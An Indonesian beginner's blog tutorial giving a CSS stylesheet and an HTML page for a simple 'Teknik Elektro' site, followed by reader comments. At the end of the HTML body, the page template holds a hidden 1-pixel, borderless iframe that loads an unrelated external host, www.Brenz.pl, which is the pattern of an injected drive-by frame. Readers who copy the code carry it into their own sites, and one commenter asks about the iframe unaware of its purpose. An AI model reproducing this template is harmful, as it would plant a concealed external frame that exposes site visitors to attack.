Berikut adalah contoh tampilan dan script untuk membuatnya :
Pertama membuat Style dari web tersebut menggunakan CSS, Simpan dengan nama elektro.css
Script CSS :
.form1 {
float: left;
margin: auto;
padding: 10px;
height: 50px;
}
.form2 {
float: right;
padding: 5px;
height: 100px;
}
#wrapper {
margin: auto;
width: 1300px;
}
#header {
height: 120px;
border: 5px solid blue;
background-image: url(images/bg.png);
}
#logo{
float: left;
height: 100px;
width: 100px;
margin: 10px;
margin-left: 50px;
}
#title{
float: left;
width : 400px;
color : blue;
font-size : 40px;
font-weight : bold;
margin: 35px;
margin-left: 50px;
}
#nav{
float: left;
width: 1300px;
height: 50px;
background: #4169E1;
}
#submenu{
float:left;
color: white;
text-align : center;
margin: 3px;
background-color: #1566DF;
-moz-border-radius-topleft: 10px;
-moz-border-radius-bottomright: 10px;
border : 2px solid blue;
padding : 5px;
width : 65px;
height : 20px;
}
#menu {
float: right;
}
#inner {
float: left;
border-right: 4px solid aqua;
}
#colgambar{
float: left;
width: 250px;
height: 450px;
border: 4px solid red;
}
#content {
float: left;
margin-left:3px;
width: 1020px;
height: 300px;
}
#event{
float: left;
width: 1034px;
height: 154px;
background: #6266E6;
border: 2px solid aqua;
}
#footer {
float: left;
border: 5px solid blue;
color : white;
font-weight : bold;
height : 50px;
width: 1290px;
background-image : url(images/bg.png);
}
#design{
float: right;
color: blue;
margin : 10px;
}
Kemudian menggunakan halaman HTML untuk menggunakan style elektro.css tersebut :
Script HTML :
<!DOCTYPE HTML>
<html lang="en">
<head>
<title>Halaman Web-Ku</title>
<link rel="stylesheet" href="elektro.css" type="text/css" />
</head>
<body>
<div id="wrapper">
<div id="header">
<div id="logo">
<img height = "80" width = "80"src = "images/um.png">
</div>
<div id="title">
TEKNIK ELEKTRO
</div>
</div>
<div id="nav">
<div class="form1">
<b>search</b> <input type="text" size="22">
</div>
<div class="form2">
<div id="menu">
<div id="submenu">Home</div><div id="submenu">News</div> <div id="submenu">Article</div> <div id="submenu">Education</div><div id="submenu">Sport</div>
</div>
</div>
</div>
<div id="inner">
<div id="colgambar">
<img width = "250" height ="450" src="images/acmilan.jpg">
</div>
<div id="content">
<text><p>AC Milan adalah sebuah club sepak bola dari kota Milan yang berada di negara Itaalia. Club ini berdiri sejak tahun 1899 lampau. Sejak berdiri sampai sekarang sudh banyak gelar yang sudah diraih oleh AC Milan, mulai dari gelar juara domesti Liga calcio dan Copa Italia sampai Gelar antar negara se-Eropa dan Dunia pernah diraihnya.<p>
Saat ini AC milan berada pada kondisi yang prima untuk menjuarai liga calcio tahun 2011. Hal ini dikarenakan Milan mempunyai pemain seperti : Pato, Ibrahimovich, Robinho dll. Tetapi untuk sampai ke final Liga Champion itu sangat sulit dan butuh banyak perjuangan yang lebih besar. Pasalnnya pada Leg-1 babak-16 besar AC Milan Harus takluk 0-1 atas Totenham</p></text>
</div>
<div id="event">
<ul>
<li><a href="tutorial_web.html" title="tutorial web">Tutorial Pembuatan Web</a></li>
<li><a href="map_dota.html" title="dota">Download Map Dota 7.71b AI BMP</a></li>
<li><a href="news" title="kegelapan UM">Gelapnya UM</a></li>
<li><a href="download/php_ebook1.pdf" title="Download Now">PHP Ebook</a></li>
<li><a href="download/webd_p3.pdf" title="Download Now">WEB Design Part 3</a></li>
</ul>
</div>
</div>
<div id="footer">
<center>| Home | Games | Video | EBook | Software | </center>
<div id="design">
© Fatra N.P
</div>
</div>
</div>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
8 komentar:
nulis codingnya itu di mana gan
apakah di notped ato di mana
MAKASIH GAN IJIN SEDOT
cuma saran aja
yang enak nulis coding itu di notepad,botepad++,sublime text,dream weafer...
Trumakasih gan infonya
maacih info nya
permisi admin, izin tanya, kenapa dibagian iframe nya, tidak menggunakan target, seperti target:iframe_a. mohon penjelasannya...
terserah kalo ndi sublime itu langsung kalo di notpade itu manual
Pakek Atom text editor mantap bang
Posting Komentar